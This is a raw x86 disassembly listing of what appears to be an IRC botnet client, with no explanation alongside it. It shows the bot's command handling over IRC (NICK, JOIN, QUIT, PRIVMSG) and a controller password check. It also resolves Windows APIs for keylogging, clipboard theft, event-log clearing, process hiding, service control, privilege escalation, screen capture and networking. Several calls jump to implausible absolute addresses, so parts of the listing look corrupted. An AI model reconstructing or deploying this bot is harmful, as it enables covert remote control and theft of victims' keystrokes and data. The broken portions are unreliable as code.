		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	sub_409A2C
		pop	ecx
		pop	ecx
		push	1F4h
		call	near ptr 26904AEh
		nop
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEEC[eax]
		call	dword_4CB03C
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEF4[eax]
		nop
		call	near ptr 26A0E5Dh
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43DEF4[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43DCE0[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_4095D5:				; CODE XREF: sub_401ACD+3DCBj
					; sub_401ACD+3DE0j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409641
		call	sub_40B2BF
		cmp	eax, ebx
		jle	short loc_4095FC
		push	eax
		push	offset unk_4296EC
		jmp	loc_408CDB
; ---------------------------------------------------------------------------

loc_4095FC:				; CODE XREF: sub_401ACD+7B22j
		push	offset unk_4296C4

loc_409601:				; CODE XREF: sub_401ACD+24F9j
					; sub_401ACD+2518j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40960F:				; CODE XREF: sub_401ACD+721Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]

loc_409628:				; CODE XREF: sub_401ACD+6DB4j
		call	sub_409A72
		add	esp, 14h

loc_409630:				; CODE XREF: sub_401ACD+26F6j
					; sub_401ACD+2721j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_40207D
; ---------------------------------------------------------------------------

loc_409641:				; CODE XREF: sub_401ACD+7B19j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax

loc_40965D:				; CODE XREF: sub_401ACD+7C01j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B231
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409684
		push	offset unk_4296A0
		jmp	short loc_409689
; ---------------------------------------------------------------------------

loc_409684:				; CODE XREF: sub_401ACD+7BAEj
		push	offset unk_429674

loc_409689:				; CODE XREF: sub_401ACD+7BB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096B9
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_4096B9:				; CODE XREF: sub_401ACD+7BCEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965D
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_4096D5:				; CODE XREF: sub_401ACD+3DA1j
					; sub_401ACD+3DB6j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset dword_429DE0
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset dword_429658
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409711:				; CODE XREF: sub_401ACD+3D77j
					; sub_401ACD+3D8Cj
		push	[ebp+arg_10]
		push	offset dword_429D44
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429634
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409731:				; CODE XREF: sub_401ACD+3D4Dj
					; sub_401ACD+3D62j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_429610
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409758:				; CODE XREF: sub_401ACD+3D23j
					; sub_401ACD+3D38j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_4295EC
		jmp	loc_40984D
; ---------------------------------------------------------------------------

loc_409778:				; CODE XREF: sub_401ACD+3163j
					; sub_401ACD+3178j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4295C8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h

loc_4097B2:				; CODE XREF: sub_401ACD+7D33j
		push	eax
		nop
		call	near ptr 26904AEh

loc_4097B9:				; CODE XREF: sub_401ACD+2AA2j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_4097C0:				; CODE XREF: sub_401ACD+3139j
					; sub_401ACD+314Ej
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4295A0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B2
; ---------------------------------------------------------------------------

loc_409802:				; CODE XREF: sub_401ACD+EC8j
					; sub_401ACD+EDDj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08D
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_42957C

loc_40984D:				; CODE XREF: sub_401ACD+70B4j
					; sub_401ACD+778Aj ...
		call	sub_415220
		pop	ecx

loc_409853:				; CODE XREF: sub_401ACD+6CB9j
		pop	ecx

loc_409854:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_40985C:				; CODE XREF: sub_401ACD+AB5j
					; sub_401ACD+AC8j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42CA5C ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CAE5C
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429578 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_4294F8
		jmp	loc_40240A
; ---------------------------------------------------------------------------

loc_4098FB:				; CODE XREF: sub_401ACD+7DEAj
		mov	[ebp+arg_24], offset off_429160

loc_409902:				; CODE XREF: sub_401ACD+7E51j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409962
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jb	short loc_409902
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_4294A4
		jmp	loc_40240A
; ---------------------------------------------------------------------------

loc_409962:				; CODE XREF: sub_401ACD+7E44j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_409967:				; CODE XREF: sub_401ACD+7EC4j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409987
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409998

loc_409987:				; CODE XREF: sub_401ACD+7EA5j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409967
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_409998:				; CODE XREF: sub_401ACD+7EB8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099CF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429484
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_4099CF:				; CODE XREF: sub_401ACD+7EE6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429464
		jmp	loc_402077
; ---------------------------------------------------------------------------

loc_4099E0:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		mov	dword_4CAE54, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2C	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		leave
		retn
sub_409A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A72	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Dp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8D
		mov	edi, offset aPrivmsg ; "PRIVMSG"

loc_409A8D:				; CODE XREF: sub_409A72+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B10
		push	7D0h
		nop
		call	near ptr 26904AEh

locret_409B10:				; CODE XREF: sub_409A72+91j
		leave
		retn
sub_409A72	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B12	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C32
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB050, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CAFC4, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CAFA8, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CAEB8, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CAE64, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CAE94, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CAF0C, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CB004, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB060, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CAEC4, eax
		call	esi
		cmp	dword_4CB050, ebx
		mov	dword_4CAEAC, eax
		jz	short loc_409C10
		cmp	dword_4CAFC4, ebx
		jz	short loc_409C10
		cmp	dword_4CAFA8, ebx
		jz	short loc_409C10
		cmp	dword_4CAEB8, ebx
		jz	short loc_409C10
		cmp	dword_4CAE94, ebx
		jz	short loc_409C10
		cmp	dword_4CAF0C, ebx
		jz	short loc_409C10
		cmp	dword_4CB004, ebx
		jz	short loc_409C10
		cmp	dword_4CB060, ebx
		jz	short loc_409C10
		cmp	dword_4CAEC4, ebx
		jz	short loc_409C10
		cmp	eax, ebx
		jnz	short loc_409C1A

loc_409C10:				; CODE XREF: sub_409B12+B8j
					; sub_409B12+C0j ...
		mov	dword_4CB064, 1

loc_409C1A:				; CODE XREF: sub_409B12+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAFDC, eax
		jz	short loc_409C47
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C47
; ---------------------------------------------------------------------------

loc_409C32:				; CODE XREF: sub_409B12+1Dj
		call	near ptr 2690DF2h
		nop
		mov	dword_4CB068, eax
		mov	dword_4CB064, 1

loc_409C47:				; CODE XREF: sub_409B12+117j
					; sub_409B12+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26C0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CB000, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CAFB0, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CAF44, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB054, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CAF74, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CAF94, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CAFF8, eax
		call	esi
		cmp	dword_4CB000, ebx
		mov	dword_4CAEE4, eax
		jz	short loc_409D00
		cmp	dword_4CAFB0, ebx
		jz	short loc_409D00
		cmp	dword_4CAF44, ebx
		jz	short loc_409D00
		cmp	dword_4CB054, ebx
		jz	short loc_409D00
		cmp	dword_4CAF74, ebx
		jz	short loc_409D00
		cmp	dword_4CAF94, ebx
		jz	short loc_409D00
		cmp	dword_4CAFF8, ebx
		jz	short loc_409D00
		cmp	eax, ebx
		jnz	short loc_409D0A

loc_409D00:				; CODE XREF: sub_409B12+1B8j
					; sub_409B12+1C0j ...
		mov	dword_4CB06C, 1

loc_409D0A:				; CODE XREF: sub_409B12+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CAF70, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CAE78, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CAF40, eax
		call	esi
		cmp	dword_4CAF70, ebx
		mov	dword_4CAF28, eax
		jz	short loc_409D67
		cmp	dword_4CAE78, ebx
		jz	short loc_409D67
		cmp	dword_4CAF40, ebx
		jz	short loc_409D67
		cmp	eax, ebx
		jnz	short loc_409D71
		jmp	short loc_409D67
; ---------------------------------------------------------------------------

loc_409D5C:				; CODE XREF: sub_409B12+144j
		call	near ptr 2690DF2h
		nop
		mov	dword_4CB070, eax

loc_409D67:				; CODE XREF: sub_409B12+232j
					; sub_409B12+23Aj ...
		mov	dword_4CB06C, 1

loc_409D71:				; CODE XREF: sub_409B12+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2A
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CB014, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CAF58, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CAFC8, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CAEA4, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CAF08, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CAF80, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CAF24, eax
		call	esi
		cmp	dword_4CB014, ebx
		mov	dword_4CAF34, eax
		jz	short loc_409E1A
		cmp	dword_4CAF58, ebx
		jz	short loc_409E1A
		cmp	dword_4CAFC8, ebx
		jz	short loc_409E1A
		cmp	dword_4CAEA4, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF08, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF80, ebx
		jnz	short loc_409E24

loc_409E1A:				; CODE XREF: sub_409B12+2DEj
					; sub_409B12+2E6j ...
		mov	dword_4CB074, 1

loc_409E24:				; CODE XREF: sub_409B12+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CAF88, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CAF60, eax
		call	esi
		cmp	dword_4CAF88, ebx
		mov	dword_4CB010, eax
		jz	short loc_409E5F
		cmp	dword_4CAF60, ebx
		jz	short loc_409E5F
		cmp	eax, ebx
		jnz	short loc_409E69

loc_409E5F:				; CODE XREF: sub_409B12+33Fj
					; sub_409B12+347j
		mov	dword_4CB074, 1

loc_409E69:				; CODE XREF: sub_409B12+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CAF98, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CAE80, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CAE88, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CAEEC, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CAEF0, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CAE9C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CAF64, eax
		call	esi
		cmp	dword_4CAF98, ebx
		mov	dword_4CAE8C, eax
		jz	short loc_409F0D
		cmp	dword_4CAE80, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE88, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEEC, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEF0, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE9C, ebx
		jz	short loc_409F0D
		cmp	dword_4CAF64, ebx
		jz	short loc_409F0D
		cmp	eax, ebx
		jnz	short loc_409F17

loc_409F0D:				; CODE XREF: sub_409B12+3C5j
					; sub_409B12+3CDj ...
		mov	dword_4CB074, 1

loc_409F17:				; CODE XREF: sub_409B12+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAE84, eax
		jnz	short loc_409F3F
		jmp	short loc_409F35
; ---------------------------------------------------------------------------

loc_409F2A:				; CODE XREF: sub_409B12+26Aj
		nop
		call	near ptr 2690DF2h
		mov	dword_4CB078, eax

loc_409F35:				; CODE XREF: sub_409B12+416j
		mov	dword_4CB074, 1

loc_409F3F:				; CODE XREF: sub_409B12+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00B
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CAF90, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CAFE8, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CAFF0, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CAFAC, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CAEC8, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CAE74, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CAFEC, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CAE60, eax
		call	esi
		cmp	dword_4CAF90, ebx
		mov	dword_4CAF00, eax
		jz	short loc_40A016
		cmp	dword_4CAFE8, ebx
		jz	short loc_40A016
		cmp	dword_4CAFF0, ebx
		jz	short loc_40A016
		cmp	dword_4CAFAC, ebx
		jz	short loc_40A016
		cmp	dword_4CAEC8, ebx
		jz	short loc_40A016
		cmp	dword_4CAE74, ebx
		jz	short loc_40A016
		cmp	dword_4CAFEC, ebx
		jz	short loc_40A016
		cmp	dword_4CAE60, ebx
		jz	short loc_40A016
		cmp	eax, ebx
		jnz	short loc_40A020
		jmp	short loc_40A016
; ---------------------------------------------------------------------------

loc_40A00B:				; CODE XREF: sub_409B12+438j
		nop
		call	near ptr 2690DF2h
		mov	dword_4CB080, eax

loc_40A016:				; CODE XREF: sub_409B12+4B9j
					; sub_409B12+4C1j ...
		mov	dword_4CB07C, 1

loc_40A020:				; CODE XREF: sub_409B12+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DC
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CAF14, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB048, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CAEB4, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CAE90, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CAF50, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CAF38, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CAEFC, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CB024, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB040, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CAF4C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB030, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CAFE4, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CAFA4, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CAFA0, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CAED4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CAECC, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CAFF4, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CB008, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CAFBC, eax
		call	esi
		mov	dword_4CAF7C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CAFD0, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CAF8C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CAFCC, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB038, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CAF84, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CAF48, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CAFB8, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CB028, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CAF5C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CAEF8, eax
		call	esi
		cmp	dword_4CAF14, ebx
		mov	dword_4CB03C, eax
		jz	loc_40A2E7
		cmp	dword_4CB048, ebx
		jz	loc_40A2E7
		cmp	dword_4CAEB4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF50, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF38, ebx
		jz	loc_40A2E7
		cmp	dword_4CAEFC, ebx
		jz	loc_40A2E7
		cmp	dword_4CB024, ebx
		jz	loc_40A2E7
		cmp	dword_4CB040, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF4C, ebx
		jz	loc_40A2E7
		cmp	dword_4CB030, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFE4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFA4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFA0, ebx
		jz	loc_40A2E7
		cmp	dword_4CAED4, ebx
